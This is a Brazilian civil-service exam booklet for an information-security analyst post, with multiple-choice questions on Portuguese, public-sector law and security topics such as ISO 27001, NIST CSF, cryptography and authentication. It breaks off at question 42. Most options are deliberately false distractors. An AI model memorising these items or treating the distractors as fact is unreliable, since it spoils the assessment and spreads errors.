UNIVERSIDADE FEDERAL DO CARIRI
CENTRAL DE CONCURSOS E VERIFICAÇÕES - CCV
FUNDAÇÃO CEARENSE DE PESQUISA E CULTURA - FCPC
EDITAL Nº 01/2025/UFCA/CCV/UFC

Analista de Tecnologia da Informação / Área: Segurança da Informação

Instruções

Prezado(a) Candidato(a),

Para assegurar a tranquilidade no ambiente de prova, a eficiência da fiscalização e a segurança no processo de avaliação, lembramos a indispensável obediência aos itens do Edital e aos que seguem:

01. Deixe sobre a carteira **APENAS caneta transparente e documento de identidade.** Os demais pertences devem ser colocados embaixo da carteira, em saco entregue para tal fim. Os **celulares devem ser desligados**, antes de guardados. O candidato que for apanhado portando celular será automaticamente eliminado do certame.
02. Anote o seu número de inscrição e o número da sala, no espaço reservado neste Caderno de Questões.
03. Antes de iniciar a resolução das 50 (cinquenta) questões, verifique se o Caderno está completo e se as questões seguem a seguinte ordem: de 01 a 10 – Língua Portuguesa; de 11 a 20 – Legislação e de 21 a 50 – Conhecimentos Específicos. Qualquer reclamação de defeito no Caderno deverá ser feita nos primeiros 30 (trinta) minutos após o início da prova.
04. Ao receber a Folha Resposta, confira os dados do cabeçalho. Havendo necessidade de correção de algum dado, chame o fiscal. Não use corretivo nem rasure a Folha Resposta.
05. A prova tem duração de **4 (quatro) horas** e o tempo mínimo de permanência em sala de prova é de **1 (uma) hora.**
06. É terminantemente proibida a cópia do gabarito.
07. A Folha Resposta do candidato será disponibilizada em sua área individual na data estabelecida no Cronograma de Atividades, conforme subitem 13.16 do Edital.
08. Ao terminar a prova, não esqueça de assinar a Lista de Presença e Ata de Sala e a Folha Resposta, no campo destinado à assinatura, e de entregar o Caderno de Questões e a Folha Resposta ao fiscal de sala.

Atenção! Os três últimos candidatos só poderão deixar a sala simultaneamente e após a assinatura na Lista de Presença e Ata de Sala.

Boa prova!

Fortaleza, 08 de março de 2026.

Inscrição

Sala

Concurso Público para Provimento de Cargos Técnico-Administrativo em Educação

O Fórum Econômico Mundial de Davos 2026 foi claro: a inteligência artificial (IA) deixou de ser tendência e passou a ser estratégia central nas organizações. A discussão já não gira em torno de "se" a IA será adotada, mas "como" ela será integrada aos modelos de negócio, aos processos decisórios e à forma como o trabalho é estruturado.

Tratar a inteligência artificial como um projeto paralelo, um laboratório isolado de inovação ou uma simples iniciativa de tecnologia é um erro estratégico. Os debates e relatórios apresentados em Davos mostram que as organizações que geram valor consistente são aquelas que conectam a IA à execução, à governança e ao desenho organizacional. A IA não pode ser encarada como uma ferramenta acessória, mas como uma infraestrutura de competitividade, comparável à eletricidade ou à internet em outros momentos da história econômica.

[...] O Fórum Econômico Mundial estima que cerca de 1,1 bilhão de empregos serão transformados pela tecnologia na próxima década e que 86% das empresas globais serão impactadas diretamente por IA e processamento de dados até 2030. A própria instituição ressalta que a inteligência artificial tende a criar mais postos de trabalho do que eliminar, desde que haja investimento deliberado em requalificação profissional, redesenho das funções e novas formas de organização do trabalho.

Davos também apresentou quatro cenários possíveis para o futuro do trabalho até 2030. [...] Em todos os cenários, há um ponto comum: sem desenvolvimento consistente de talentos, não há ganho sustentável de produtividade nem crescimento econômico de longo prazo.

No Brasil, esse movimento é visível. Levantamento do Infojobs aponta que as vagas que exigem conhecimentos em inteligência artificial cresceram 65% em 2025, consolidando a IA como uma qualificação concreta para geração de emprego e renda. Dados do LinkedIn reforçam essa tendência: o percentual de profissionais que utilizam IA diariamente no trabalho no país saltou de 17% para 35% em apenas 18 meses. Além disso, 78% dos trabalhadores brasileiros afirmam que pretendem aprender novas habilidades ligadas à IA, sinalizando uma mudança acelerada de mentalidade no mercado nacional. [...].

ALMEIDA, P.O recado de Davos sobre inteligência artificial. Correio Brasilienze. 24 fev. 2026. Disponível em: https://www.correiobraziliense.com.br/opiniao/2026/02/7360879-o-recado-de-davos-sobre-inteligencia-artificial.html

01. O propósito comunicativo central do texto é:

A) descrever detalhadamente cenários futuros do emprego de IA no mundo.
B) comentar a visão do Fórum de Davos sobre IA no mundo organizacional.
C) relatar historicamente os efeitos do emprego de IA no mercado de trabalho.
D) analisar, de forma objetiva e rigorosa, dados sobre o uso de IA nas empresas.

02. Assinale a alternativa em que *girar* foi empregado com mesmo sentido que em: "A discussão já não gira em torno de..." (linhas 02-03).

A) Investidores giram com várias empresas de IA.
B) Empresas de IA giram em torno de 2 bilhões anuais.
C) O Fórum de Davos girou sobre inteligência artificial.
D) As ideias discutidas no Fórum giram pelo mundo todo.

03. De acordo com o texto, o emprego de inteligência artificial nas organizações:

A) pode trazer benefícios à competitividade setorial.
B) exigirá grandes investimentos em segurança de dados.
C) deve pautar-se pela ética e boas práticas administrativas.
D) costuma tornar-se um erro estratégico com graves efeitos.

04. Segundo o texto, as discussões do Fórum consideram que a inteligência artificial:

A) deve provocar impacto direto no meio organizacional.
B) provocará forçosamente uma redução dos postos de trabalho.
C) deverá ser adotada como um projeto paralelo nas empresas.
D) talvez seja adotada pela maioria das empresas nos próximos anos.

05. Assinale a alternativa cuja palavra, como “infraestrutura” (linha 09), está corretamente grafada conforme as normas vigentes.

A) ultraativo.
B) sobreumano.
C) superrealista.
D) autoaprendizagem.

06. Assinale a alternativa em que a palavra destacada poderia trocar de posição com a que se combina, sem alterar o significado no contexto.

A) "simples iniciativa" (linha 06).
B) "história econômica" (linha10).
C) "própria instituição" (linha 13).
D) "cenários possíveis" (linha 17).

07. Assinale a alternativa que contém um adjetivo derivado de verbo.

A) "artificial" (linha 05).
B) "comparável" (linha 10).
C) "econômica" (linha 10).
D) "processamento" (linha 13).

08. Assinale a alternativa cuja concordância verbal está conforme a norma gramatical.

A) 35% da força de trabalho usa IA diariamente.
B) Cada um dos participantes discorreram sobre IA.
C) Consideram-se, de todos, apenas um cenário ideal.
D) Devem haver muitas empresas de inteligência artificial.

09. Em "...**desde que** haja investimento deliberado em requalificação profissional..." (linhas 14-15), a locução destacada poderia ser substituída, mantendo o mesmo sentido, por:

A) mesmo que.
B) a fim de que.
C) contanto que.
D) por mais que.

10. Assinale a alternativa cuja oração exerce a mesma função sintática que o termo destacado em "Em todos os cenários, há um ponto comum" (linha 18).

A) "...que geram valor consistente..." (linha 07).
B) "...que conectam a IA à execução..." (linha 08).
C) "...que utilizam IA diariamente no trabalho no país..." (linha 23).
D) "...que pretendem aprender novas habilidades" (linha 25).

11. Sobre a Lei de Improbidade Administrativa, após a reforma promovida pela Lei nº 14.230/2021, é correto afirmar que:

A) A improbidade administrativa admite responsabilidade objetiva.
B) O dolo é requisito essencial para configuração do ato de improbidade.
C) A culpa em qualquer de suas modalidades é suficiente para caracterizar improbidade pela qual responderá o servidor.
D) Só responderão por improbidade, nos termos da Lei nº 8.429/1992, alterada pela Lei nº 14.230, os servidores públicos efetivos.

12. Responda, segundo a Lei Geral de Proteção de Dados Pessoais, qual a **única** alternativa correta.

A) Constituem dados pessoais sensíveis a origem racial ou étnica, convicção religiosa e opinião política.
B) O tratamento de dados pessoais de crianças deverá ser realizado com o consentimento específico e em destaque dado obrigatoriamente por ambos os pais, sob pena de responsabilização dos controladores.
C) Na realização de estudos em saúde pública, os órgãos de pesquisa não poderão ter acesso a bases de dados pessoais, mesmo que tratados dentro do órgão ainda que para a finalidade de realização de estudos e pesquisas.
D) Na hipótese em que o consentimento é requerido, se houver mudanças da finalidade para o tratamento de dados pessoais compatíveis com o consentimento original, o controlador deverá informar previamente o titular sobre as mudanças de finalidade, podendo o titular revogar o consentimento, caso discorde das alterações.

13. Segundo a Lei nº 13.726/2018, existem critérios para a concessão do selo de Desburocratização e Simplificação, destinado a reconhecer e a estimular projetos, programas e práticas que simplifiquem o funcionamento da administração pública e melhorem o atendimento aos usuários dos serviços públicos. Marque a alternativa que **não** é critério previsto na referida lei.

A) Os ganhos sociais oriundos da medida de desburocratização.
B) A redução do tempo de espera no atendimento dos serviços públicos.
C) A adoção de soluções tecnológicas ou organizacionais que possam ser replicadas em outras esferas da administração pública.
D) A identificação, nas respectivas áreas, de dispositivos legais ou regulamentares que prevejam exigências descabidas ou exageradas ou procedimentos desnecessários ou redundantes.

14. Nos termos da Lei nº 8.112/1990, assinale a alternativa correta.

A) O servidor estável somente perderá o cargo por sentença judicial transitada em julgado.
B) São requisitos básicos para investidura em cargo público a nacionalidade brasileira; o gozo dos direitos políticos; a quitação com as obrigações militares e eleitorais; o nível de escolaridade exigido para o exercício do cargo; a idade mínima de dezoito anos; aptidão física e mental, além de outros requisitos estabelecidos em lei que as atribuições do cargo possam justificar a exigência.
C) São formas de provimento de cargo público: a nomeação; a promoção; a ascensão; a readaptação; a reversão; o aproveitamento; a reintegração; e a recondução.
D) O Exercício é o efetivo desempenho das atribuições do cargo, sendo o prazo para o servidor entrar em exercício de 30 (trinta) dias, contados da data da posse. Será exonerado o servidor empossado que não entrar em exercício neste prazo previsto.

15. De acordo com a Lei de Acesso à Informação (Lei 12.527/2011), assinale a alternativa correta.

A) O acesso à informação independe de motivação do requerente.
B) Informação pessoal é aquela relacionada ao servidor público identificado ou identificável.
C) Cabe aos órgãos e entidades públicas e privadas, observadas as normas e procedimentos específicos aplicáveis, assegurar a gestão transparente da informação, propiciando amplo acesso a ela e sua divulgação.
D) Autenticidade é a qualidade da informação coletada na fonte, com o máximo de detalhamento possível, sem modificações.

16. O Art. 4º da Lei 14.540/2023 fixa os objetivos do Programa de Prevenção e Enfrentamento ao Assédio Sexual e demais Crimes contra a Dignidade Sexual e à Violência Sexual. **Não** é um destes objetivos:

A) formação continuada dos profissionais de educação.
B) prevenir e enfrentar a prática do assédio sexual e demais crimes contra a dignidade sexual e de todas as formas de violência sexual nos órgãos e entidades abrangidos por esta Lei.
C) capacitar os agentes públicos para o desenvolvimento e a implementação de ações destinadas à discussão, à prevenção, à orientação e à solução do problema nos órgãos e entidades abrangidos por esta Lei.
D) implementar e disseminar campanhas educativas sobre as condutas e os comportamentos que caracterizam o assédio sexual e demais crimes contra a dignidade sexual e qualquer forma de violência sexual, com vistas à informação e à conscientização dos agentes públicos e da sociedade, de modo a possibilitar a identificação da ocorrência de condutas ilícitas e a rápida adoção de medidas para a sua repressão.

17. É diretriz do Programa Federal de Prevenção e Enfrentamento do Assédio e da Discriminação, segundo o disposto no Art. 5º. Decreto nº 12.122/2024:

A) Publicidade.
B) Razoabilidade.
C) Universalidade.
D) Proporcionalidade.

18. Sobre o que determina a Lei 14.133/2021 – Lei de Licitações e Contratos Administrativos, marque a alternativa **incorreta**.

A) Para os fins da Lei 14.133/2021 considera-se projeto executivo o conjunto de elementos necessários e suficientes à execução completa da obra, com o detalhamento das soluções previstas no projeto básico, a identificação de serviços, de materiais e de equipamentos a serem incorporados à obra, bem como suas especificações técnicas, de acordo com as normas técnicas pertinentes.
B) Na aplicação da Lei 14.133/2021, serão observados os princípios da legalidade, da impessoalidade, da moralidade, da publicidade, da eficiência, do interesse público, da probidade administrativa, da igualdade, do planejamento, da transparência, da eficácia, da segregação de funções, da motivação, da vinculação ao edital, do julgamento objetivo, da segurança jurídica, da razoabilidade, da competitividade, da proporcionalidade, da celeridade, da economicidade e do desenvolvimento nacional sustentável.
C) Para os fins da Lei 14.133/2021, considera-se empreitada por preço unitário a contratação de empreendimento em sua integralidade, compreendida a totalidade das etapas de obras, serviços e instalações necessárias, sob inteira responsabilidade do contratado até sua entrega ao contratante em condições de entrada em operação, com características adequadas às finalidades para as quais foi contratado e atendidos os requisitos técnicos e legais para sua utilização com segurança estrutural e operacional.
D) Considera-se diálogo competitivo para os fins da Lei 14.133/2021 a modalidade de licitação para contratação de obras, serviços e compras em que a Administração Pública realiza diálogos com licitantes previamente selecionados mediante critérios objetivos, com o intuito de desenvolver uma ou mais alternativas capazes de atender às suas necessidades, devendo os licitantes apresentar proposta final após o encerramento dos diálogos.

19. A Lei 10.741/2003, chamada Estatuto da Pessoa Idosa, assegura direitos fundamentais inerentes à pessoa humana ao idoso. De acordo com essa Lei é correto afirmar que:

A) O Estatuto da Pessoa Idosa, destinado a regular os direitos assegurados às pessoas com idade igual ou superior a 65 (sessenta e cinco) anos.

B) À pessoa idosa internada ou em observação só é assegurado o direito a acompanhante mediante autorização prévia do serviço público de saúde sobretudo para a permanência em tempo integral.

C) É obrigação exclusiva da família e do poder público assegurar à pessoa idosa, com absoluta prioridade, a efetivação do direito à vida, à saúde, à alimentação, à educação, à cultura, ao esporte, ao lazer, ao trabalho, à cidadania, à liberdade, à dignidade, ao respeito e à convivência familiar e comunitária.

D) É assegurada a atenção integral à saúde da pessoa idosa, por intermédio do Sistema Único de Saúde (SUS), garantindo-lhe o acesso universal e igualitário, em conjunto articulado e contínuo das ações e serviços, para a prevenção, promoção, proteção e recuperação da saúde, incluindo a atenção especial às doenças que afetam preferencialmente as pessoas idosas.

20. A Convenção sobre a Eliminação de Todas as Formas de Discriminação contra a Mulher visa evitar que a mulher continue sendo objeto de grandes discriminações. Marque a alternativa correta.

A) Esta Convenção iguala as mulheres urbanas e rurais, já que inexistem problemas específicos enfrentados pelas mulheres urbanas e rurais, incluído seu trabalho em setores monetários da economia.

B) Segundo esta convenção, os Estados-Partes adotarão todas as medidas apropriadas para eliminar a discriminação contra a mulher na esfera dos cuidados médicos a fim de assegurar, em condições de igualdade entre homens e mulheres, o acesso a serviços médicos, inclusive os referentes ao planejamento familiar, garantindo à mulher assistência apropriada em relação à gravidez, ao parto e ao período posterior ao parto, proporcionando assistência gratuita quando assim for necessário, e lhe assegurando uma nutrição adequada durante a gravidez e a lactância.

C) Qualquer controvérsia entre dois ou mais Estados-Partes relativa à interpretação ou aplicação desta Convenção e que não for resolvida por negociações será, a pedido de qualquer das Partes na controvérsia, submetida à Corte de Haia. Se no prazo de seis meses a partir da data do pedido de arbitragem as Partes não acordarem sobre a forma da arbitragem, qualquer das Partes poderá submeter a controvérsia à Corte Internacional de Justiça mediante pedido em conformidade com o Estatuto da Corte.

D) Segundo esta convenção, os Estados-Partes adotarão todas as medidas apropriadas para eliminar a discriminação contra a mulher em outras esferas da vida econômica e social a fim de assegurar, em condições de igualdade entre homens e mulheres, os mesmos direitos, em particular o da obrigação do homem em arcar com todas as despesas do lar podendo inclusive obter empréstimos bancários, hipotecas e outras formas de crédito financeiro para tal fim.

21. No Brasil, a Lei nº 13.709/2018, conhecida como Lei Geral de Proteção de Dados (LGPD), aplica-se a qualquer operação de tratamento realizada por pessoa natural ou jurídica de direito público ou privado, independentemente do meio, do país de sua sede ou do país onde estejam localizados os dados, **exceto** quando:

A) a operação de tratamento seja realizada no território nacional.
B) a coleta dos dados pessoais objeto do tratamento tenha ocorrido em território nacional.
C) o tratamento de dados é realizado para fins exclusivamente acadêmicos, mediante o fornecimento de consentimento pelo titular.
D) a atividade de tratamento tenha por objetivo a oferta ou o fornecimento de bens ou serviços ou o tratamento de dados de indivíduos localizados no território nacional.

22. De acordo com a LGPD, o controlador deverá indicar encarregado pelo tratamento de dados pessoais. Dentre as atividades do encarregado está:

A) orientar os funcionários e os contratados da entidade a respeito das práticas a serem tomadas em relação à proteção de dados pessoais.
B) manter registro das operações de tratamento de dados pessoais que realizarem, especialmente quando baseado no legítimo interesse.
C) realizar o tratamento segundo as instruções fornecidas pelo controlador, que verificará a observância das próprias instruções e das normas sobre a matéria.
D) solicitar a agentes do Poder Público a publicação de relatórios de impacto à proteção de dados pessoais e sugerir a adoção de padrões e de boas práticas para os tratamentos de dados pessoais pelo Poder Público.

23. Segundo o Marco Civil da Internet do Brasil(MCI), Lei nº 12.965/2014, na provisão de conexão à internet, cabe ao administrador de sistema autônomo respectivo o dever de manter os registros de conexão, sob sigilo, em ambiente controlado e de segurança, pelo prazo de 1 (um) ano, nos termos do regulamento. Assinale o item que apresenta o conjunto de informações referentes a um registro de conexão:

A) data e hora de uso de uma determinada conexão à internet a partir de um determinado endereço IP.
B) data e hora de uso de uma determinada conexão à internet a partir de um determinado endereço IP e os registros de acesso a aplicações de internet.
C) data e hora de início e término de uma conexão à internet, sua duração e o endereço IP utilizado pelo terminal para o envio e recebimento de pacotes de dados.
D) data e hora de início e término de uma conexão à internet, sua duração, o endereço IP utilizado pelo terminal para o envio e recebimento de pacotes de dados e os registros de acesso a aplicações de internet.

24. É importante que um Sistema de Gestão da Segurança da Informação (SGSI) componha, de maneira integrada, os processos da organização e a estrutura de administração global, tal que a segurança da informação seja considerada no projeto dos processos, sistemas de informação e controles. Qual dos itens a seguir apresenta um framework capaz de orientar um Analista na seleção e implementação de controles de segurança?

A) MITRE ATT&CK®.
B) ABNT NBR ISO/IEC 27002:2022.
C) ABNT NBR ISO/IEC 27005:2023.
D) OWASP Top 10 Security Risks 2021.

25. A norma ABNT NBR ISO/IEC 27001:2022 apresenta requisitos para estabelecer, implementar, manter e melhorar continuamente um Sistema de Gestão de Segurança da Informação (SGSI). Além disso, a adoção de um SGSI é uma decisão estratégica para uma organização. Ao implementar um SGSI uma organização busca:

A) proteger e restaurar as condições operacionais normais dos sistemas de informação e as informações armazenadas nele, quando ocorre um ataque ou intrusão.
B) iterativamente auxiliar as organizações no estabelecimento de estratégias, no alcance de objetivos e na tomada de decisões fundamentadas.
C) preservar a confidencialidade, integridade e disponibilidade da informação através da aplicação de um processo de gestão de riscos, e fornecer confiança às partes interessadas de que os riscos são adequadamente gerenciados.
D) através de um processo sistemático, independente e documentado, obter evidências objetivas e avaliá-las objetivamente, para determinar a extensão na qual os critérios de segurança são atendidos.

26. "Os ataques à cadeia de suprimentos são projetados para explorar relações de confiança entre uma organização e partes externas. Esses relacionamentos podem incluir parcerias, relacionamentos com fornecedores ou o uso de software de terceiros. Os atores das ameaças cibernéticas comprometerão uma organização e depois subirão na cadeia de abastecimento, aproveitando estas relações de confiança para obter acesso aos ambientes de outras organizações." (Fonte: CHECK POINT. O que é um ataque à cadeia de suprimentos?. Cyber Hub. [S.l.], c2026. Disponível em: https://www.checkpoint.com/pt/cyber-hub/threat-prevention/what-is-a-supply-chain-attack/. Acesso em: 28 jan. 2026).

Assinale o item que apresenta uma condição que favorece ataques à cadeia de suprimentos.

A) A propagação dos requisitos de segurança da organização e seus fornecedores.
B) A equiparação das práticas de segurança adotadas pela organização e seus fornecedores.
C) O compartilhamento de informações sobre os serviços contratados e a segurança dos mesmos.
D) A ausência de disposições relevantes para a subcontratação, incluindo os controles que precisam ser implementados, como acordo sobre o uso de subfornecedores.

27. Para uma organização, suas informações são consideradas um ativo que possui valor e portanto, requer níveis de proteção adequados. Além disso, essas informações e demais ativos associados estão sujeitos a diversas fontes de ameaças, sejam estas naturais, acidentais ou deliberadas. Convém que a seleção de contramedidas para tais ameaças esteja apoiada em uma avaliação de riscos adequada ao cenário organizacional. Assinale o item que define risco no contexto de Segurança da Informação.

A) Potencial de que as ameaças explorem vulnerabilidades de um ativo de informação ou grupo de ativos de informação e, assim, causem danos a uma organização.
B) Um único ou uma série de eventos indesejados ou inesperados que têm uma probabilidade significativa de comprometer as operações do negócio.
C) Fraqueza de um ativo ou controle que pode ser explorada e então pode ocorrer um evento com uma consequência negativa.
D) Causa potencial de um incidente de segurança da informação que pode resultar em danos a um sistema ou prejuízos a uma organização.

28. "PF deflagra a Operação Decrypt contra organização criminosa especializada em ataques cibernéticos — [...] A investigação tem como objetivo esclarecer a participação de um cidadão brasileiro em uma organização criminosa transnacional especializada em ataques cibernéticos do tipo ransomware — modalidade em que sistemas são invadidos, os dados são criptografados e, em seguida, é exigido o pagamento de resgate, geralmente em criptomoedas, para a liberação das informações. [...]" (Fonte: COORDENAÇÃO-GERAL DE COMUNICAÇÃO SOCIAL DA POLÍCIA FEDERAL. PF deflagra a Operação Decrypt contra organização criminosa especializada em ataques cibernéticos. [S.l.], 2025. Disponível em: https://www.gov.br/pf/pt-br/assuntos/noticias/2025/10/pf-deflagra-operacao-contra-grupo-internacional-de-crimes-ciberneticos. Acesso em: 03 fev. 2026).

Considerando o cenário descrito no enunciado, o ataque do tipo ransomware pode ser avaliado como uma ameaça:

A) crítica, levando ao comprometimento de funções ou serviços.
B) decorrente do acesso não autorizado a informações sensíveis.
C) operacional resultante de deficiência nos controles preventivos.
D) associada à exploração de vulnerabilidades técnicas em ativos de informação.

29. A Estrutura de Segurança Cibernética 2.0 do Instituto Nacional de Padrões e Tecnologia (NIST CSF 2.0) fornece orientações para o gerenciamento dos riscos de segurança cibernética. As ações por ela sugeridas podem ser usadas por qualquer organização - independentemente de seu tamanho, setor ou maturidade - para uma melhor compreensão, avaliação, priorização e comunicação de seus esforços relacionados à segurança cibernética. Considerando as funções essenciais do núcleo da NIST CSF 2.0 é correto o que se afirma em:

A) Ao estabelecer o contato com grupos de interesse especial, a organização atende às funções: proteger, identificar e detectar.
B) Ao estabelecer um processo de gestão de vulnerabilidades técnicas, a organização atende às funções: identificar e proteger.
C) Ao responder os incidentes de segurança da informação de acordo com os procedimentos documentados, a organização atende às funções: detectar e responder.
D) Ao avaliar os eventos de segurança da informação e decidir se categoriza-os como incidentes de segurança da informação, a organização atende às funções: responder e recuperar.

30. A criptografia tem sido utilizada há milhares de anos na proteção de informações sensíveis através de sua codificação. A decodificação das informações será possível apenas para aqueles que detém a respectiva chave de decodificação, independente da captura de uma mensagem codificada e do conhecimento sobre o algoritmo utilizado no embaralhamento da mensagem. Com relação ao uso de chaves e algoritmos criptográficos, é correto o que se afirma em:

A) Em algoritmos simétricos, as partes comunicantes devem garantir a proteção da chave compartilhada.
B) Em algoritmos assimétricos, as partes comunicantes devem garantir a proteção da chave compartilhada.
C) Em algoritmos assimétricos, as partes comunicantes devem garantir a proteção da chave pública.
D) Em algoritmos simétricos, as partes comunicantes devem garantir a proteção da chave privada.

31. A criptografia é a base de muitos protocolos, serviços e sistemas de segurança. Um analista de segurança da informação deve ser capaz de diferenciar os diversos tipos de cifras criptográficas e sua utilização na garantia da segurança dos sistemas e informações organizacionais. Assinale o item que apresenta corretamente a associação entre um algoritmo criptográfico e sua aplicação primária.

A) O algoritmo Diffie-Hellman é utilizado para assinatura digital.
B) O algoritmo ECDSA é utilizado para assinatura digital.
C) O algoritmo Blowfish é utilizado para autenticação.
D) O algoritmo AES é utilizado para autenticação.

32. "Um megavazamento de dados expôs 16 bilhões de senhas e credenciais de login de contas da Apple, Google, Facebook, Telegram, GitHub e até serviços governamentais. [...] Segundo os especialistas, [...] o vazamento não se trata de dados antigos reciclados, mas sim de informações novas e altamente exploráveis, coletadas por *info-stealers* — malwares especializados em roubo de dados. A maior parte dos registros estava organizada em URLs seguidas por logins e senhas, permitindo acesso a praticamente qualquer serviço online. Embora os dados tenham ficado expostos por pouco tempo, o impacto pode ser duradouro." (Fonte: MAIOR Vazamento de Dados da História Expõe 16 Bilhões de Senhas, e o Mundo Quase Não Percebeu. Forbes, Forbes Tech, [s.l.], 2025. Disponível em: https://forbes.com.br/forbes-tech/2025/06/maior-vazamento-de-dados-da-historia-expoe-16-bilhoes-de-senhas-e-o-mundo-quase-nao-percebeu/. Acesso em: 10 fev. 2026).
Assinale o item que apresenta um controle adequado para mitigar o uso indevido de credenciais expostas descrito no cenário descrito.

A) A implementação de bloqueio automático de contas após múltiplas tentativas mal sucedidas reduzirá ataques de password spraying.
B) A implementação de troca periódica obrigatória de senhas será suficiente para impedir o uso das credenciais vazadas em sistemas corporativos.
C) A conscientização dos colaboradores para a não reutilização de senhas, poderá mitigar ataques do tipo pass the hash em sistemas corporativos.
D) A conscientização dos colaboradores para a não reutilização de senhas, poderá mitigar ataques do tipo credential stuffing em sistemas corporativos.

33. Resumos criptográficos, ou hashes, correspondem a uma classe de métodos criptográficos aplicados na garantia da integridade de informações. Assinale o item que apresenta corretamente uma utilização de hashes criptográficos.

A) A utilização de hashes criptográficos em combinação com um algoritmo assimétrico para assinatura digital.
B) A utilização de hashes criptográficos em combinação com um algoritmo simétrico para assinatura digital.
C) O hash de mensagem assinada digitalmente é criptografado utilizando a chave pública do emissor.
D) O hash de mensagem assinada digitalmente é criptografado utilizando a chave pública do receptor.

34. Basicamente, um certificado digital é um documento eletrônico que vincula uma chave pública a uma entidade (pessoa física, jurídica, servidor, domínio etc.), este documento é assinado digitalmente por uma terceira parte confiável. Essa terceira parte, comumente referida Autoridade Certificadora (AC), pode ser uma agência governamental, uma instituição financeira ou uma empresa especializada, e goza da confiança da comunidade de usuários. Protocolos como HTTPS, TLS e S/MIME utilizam certificados digitais seguindo o padrão X.509. Assinale o item correto quanto ao uso de certificados X.509.

A) A utilização de certificados coringas representa uma alternativa gerenciável além de reduzir a superfície de ataque.
B) Quando presente em certificados de entidades finais, a extensão Basic Constraints deve conter o componente CA configurado como FALSE.
C) A identificação do emissor do certificado e do titular da chave pública é explicitamente representada através de um nome e um identificador único desde a versão 1.
D) A extensão subject alternative name (SAN) pode ser uma alternativa para garantir o isolamento criptográfico entre múltiplos subdomínios a um custo reduzido.

35. O Glossário de Segurança da Internet (RFC 4949) define autenticação como o processo de verificar a alegação de uma entidade ou recurso do sistema possuir um determinado valor de atributo. Sobre o processo de autenticação assinale a alternativa correta.

A) Entidades autenticadas têm o acesso concedido aos recursos do sistema.
B) Entidades autenticadas não poderão negar a realização de ações no sistema.
C) Uma vez autenticada, uma entidade passa a ser considerada genuína e confiável.
D) A autenticação pode envolver qualquer tipo de atributo reconhecido por um sistema.

36. A autenticação é aplicada em diferentes contextos e os fatores utilizados nem sempre estão adequados a um contexto específico. O projeto do mecanismo de autenticação deve atentar-se à seleção de tecnologias que atendam aos requisitos de segurança e seu impacto no ambiente. Em relação a seleção de fatores e mecanismos de autenticação, é correto o que se afirma em:

A) Um mecanismo que exige do usuário uma senha e um PIN é um exemplo de mecanismo multi-fator.
B) A utilização de senhas em catracas para acesso físico favorece ataques do tipo piggybacking.
C) A utilização de senhas em catracas como mecanismo de autenticação de usuários apresenta um impacto operacional.
D) A utilização de um fator biométrico como mecanismo de autenticação inviabiliza a personificação de usuários por parte de atacantes.

37. Considere um ambiente aberto e distribuído no qual usuários em estações de trabalho desejam acessar serviços em servidores distribuídos pela rede. É desejado que os servidores restrinjam o acesso a usuários autorizados e autentiquem solicitações de serviço. Nesse ambiente, as estações de trabalho são ineficientes na identificação de seus usuários para os serviços de rede.
Assinale o item que apresenta um controle que mitiga ameaças como a personificação de usuários e de estações de trabalho e ataques de repetição para o cenário descrito.

A) A adoção do protocolo Kerberos, baseado em um centro de distribuição de chaves e criptografia simétrica.
B) A adoção do protocolo NTLM, baseado em um centro de distribuição de chaves e criptografia assimétrica.
C) A adoção do protocolo PAP, no qual são utilizados um desafio e uma senha compartilhada codificados utilizando o algoritmo MD5.
D) A adoção do protocolo RADIUS, no qual a criptografia é utilizada para senhas e comunicação.

38. "O teste de penetração, ou pentesting, envolve a simulação de ataques reais para avaliar o risco associado a possíveis violações de segurança." (Fonte: WEIDMAN, G. Penetration testing: a hands-on introduction to hacking. San Francisco: No Starch Press, 2014. E-book. 495 p. Tradução própria.) Assinale o item correto sobre os testes de penetração.

A) Durante a fase de modelagem de ameaças, o analista prepara seus exploits para a fase de ataque e exploração.
B) Em um teste de penetração do tipo externo, o analista poderá personificar um funcionário insatisfeito que violou o perímetro.
C) Em um teste de penetração do tipo externo, o analista poderá simular ações de um grupo criminoso em busca de informações sigilosas.
D) Para a execução de um teste de penetração do tipo caixa branca, o analista tem acesso apenas ao domínio do servidor de aplicação e uma credencial de usuário.

39. Um ponto de acesso não autorizado é aquele que foi instalado na rede sem autorização, seja com intenção maliciosa ou não. Assinale o item correto quanto ao ataque do tipo evil twin.

A) Evil twins violam o perímetro lógico organizacional.
B) Um evil twin é utilizado para derrubar o sinal de pontos de acesso legítimos.
C) Um evil twin consiste em um ponto de acesso não autorizado passando por um legítimo.
D) Através da inspeção do tráfego de pacotes na rede, é possível detectar a presença de um evil twin.

40. "O Brasil figura como o quarto país mais afetado por softwares maliciosos, os chamados malwares, no continente americano. Uma pesquisa da NordVPN, empresa de segurança cibernética, contabilizou mais de 10 milhões de incidentes envolvendo malwares no país em 2024. [...]" (Fonte: ERLICH, F. Brasil é o 4º maior alvo de softwares maliciosos nas Américas, diz estudo. Veja Negócios, [s.l.], 2025. Disponível em: https://veja.abril.com.br/coluna/radar-economico/brasil-e-o-4o-maior-alvo-de-softwares-maliciosos-nas-americas-diz-estudo/. Acesso em: 10 fev. 2026).
Com relação aos tipos de malwares, é correto o que se afirma em:

A) Um keylogger armazena chaves criptográficas capturadas a partir do tráfego de rede.
B) Rootkits permitem que um invasor mantenha o acesso privilegiado aos dispositivos comprometidos.
C) Um worm é executado quando o usuário realiza uma ação, como baixar e executar um aplicativo infectado, conectar um pen drive infectado ou abrir um documento do Word infectado com macros habilitadas.
D) Um efeito da presença de uma infecção por vírus de computador é o aumento do consumo de largura de banda da rede à medida que o vírus se replica.

41. Redes sem fio e os dispositivos as utilizam introduzem uma série de problemas de segurança que vão além daqueles encontrados em cabeadas. Assinale o item que apresenta um fator de maior risco relacionado à redes sem fio, quando comparado a redes cabeadas.

A) Alguns dispositivos sem fio, deixados sem supervisão em locais remotos, estão vulneráveis a port stealing.
B) Possibilidade de ataques do tipo Man-in-the-Middle, via ARP spoofing, para realização de sequestro de sessões.
C) As redes sem fio são mais vulneráveis a ataques ativos que exploram vulnerabilidades nos protocolos de comunicação.
D) Dispositivos sem fio possuem sistemas operacionais sofisticados e recursos de processamento eficientes no combate a ameaças como ataques de negação de serviço e malwares.

42. Testes envolvem processos de comparação do estado de um sistema ou aplicação e um conjunto de critérios. Frequentemente, testes de segurança são executados com base em critérios que não estão bem definidos ou completos. Assinale o item que apresenta uma boa prática relacionada à melhoria da qualidade dos testes de segurança de aplicações.

A) A realização de análise dinâmica em toda a base de código.
B) A identificação de ferramentas e tecnologias aprovadas para uso no projeto.
C) A adoção de inspeções e revisões manuais baseadas em um modelo de confiança com verificação prévia.
